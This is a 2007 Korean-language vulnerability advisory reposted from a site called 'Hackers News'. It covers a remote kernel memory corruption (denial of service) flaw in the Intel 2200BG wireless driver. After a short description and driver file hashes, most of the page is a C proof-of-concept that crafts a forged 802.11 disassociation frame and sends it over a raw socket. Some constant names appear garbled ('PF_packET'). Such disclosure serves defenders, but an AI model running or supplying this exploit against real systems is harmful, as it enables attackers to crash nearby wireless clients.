인텔 메모리 붕괴 버그>> Intel 2200BG 802.11 Disassociation Packet Kernel Memory Corruption

◎ 작성자: 해커즈뉴스
◎ 해당시스템: 9.0.3.9
◎ 발표날짜: 2007.02.03
◎ 유형: 원격
◎ 위험도:
2007/2/3(토)
인텔 메모리 붕괴 >> Intel 2200BG 802.11 Disassociation Packet Kernel Memory Corruption  
명칭 : 인텔 메모리 붕괴
발령일시 : 2월3일
해당시스템 : 9.0.3.9
위험도 : ★★★★☆
코드 작성자 : Breno Silva Pinto
■ 공격용 소스코드 제목
인텔 메모리 붕괴            


■ 발표날짜
2007.02.03


■ 해당 시스템
9.0.3.9


■ 공격유형
원격


■ 위험도



■ 최초보고자
mailto:bsilva at sekure.org


■ 문제점
인텔 무선 mini-pci 드라이버는 Intel 2200BG 카드에 제공되는데 여기서 메모리가 붕괴되는 버그가 발견되었다.

위조된 패킷을 전송함으로써 가능하며 내무 커널 구조를 붕괴시킨다.

공격의 결과를 한마디로 종합하자면 도스공격이 되는 셈이다.


■ 공격법 / 공격용 소스코드
Intel 2200BG 802.11 Disassociation packet Kernel Memory Corruption

Driver files:
w29n51.sys 9ee38ffcb4cbe5bee6c305700ddc4725
w29mlres.dll 35afeccc4092b69f62d757c4707c74e9
w29NCPA.dll 980f58b157baedc23026dd9302406bdd

Proof Of Concept:
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <asm/types.h>
#include <linux/if.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>
#include <linux/if_arp.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>

// 28 bytes disassociation packet.

char d[] = { 0xa0, 0x00, // 0xa0 pacote Disassociate 0xa000 FC Normal
           0x00, 0x00, // Duration ID
           0x00, 0x12, 0xf0, 0x29, 0x77, 0x00, // DST addr
           0xbb, 0xbb, 0xbb, 0xbb, 0xbb, 0xbb, // SRC addr
           0x00, 0x0f, 0x66, 0x11, 0x7b, 0xd0, // BSS id
           0x00, 0x00, // Frag. Number
           0x01, 0x00, 0x00, 0x00 }; // 2 bytes - Reason code

int main() {
      struct sockaddr_ll link;
      struct ifreq iface;
      int s;
      char packet[sizeof(d)];
      int len = 0;

      if((s=socket(PF_INET, SOCK_DGRAM, 0))<0)
              return 0;

      bzero(&iface,sizeof(iface));
      bzero(&link,sizeof(link));
      bzero(packet,sizeof(d));

      strcpy(iface.ifr_name,"ath0raw");

      if(ioctl(s,SIOCGIFHWADDR, &iface)) {
              return 0;
      }

      if(ioctl(s,SIOCGIFINDEX, &iface)) {
              return -1;
      }

      if((s=socket(PF_packET, SOCK_RAW, htons(ETH_P_ALL)))<0) {
              return -1;
      }

      link.sll_family = AF_packET;
      link.sll_ifindex = iface.ifr_ifindex;

if(bind(s,(struct sockaddr *) &link, sizeof(link))<0) {
              return -1;
      }

      memcpy(packet,d,sizeof(d));
      len = sendto(s,packet,sizeof(d), 0, NULL, 0);
      usleep(5000);
      printf("%d bytes enviados\n",len);

      close(s);

      return 0;
}
Creative Commons License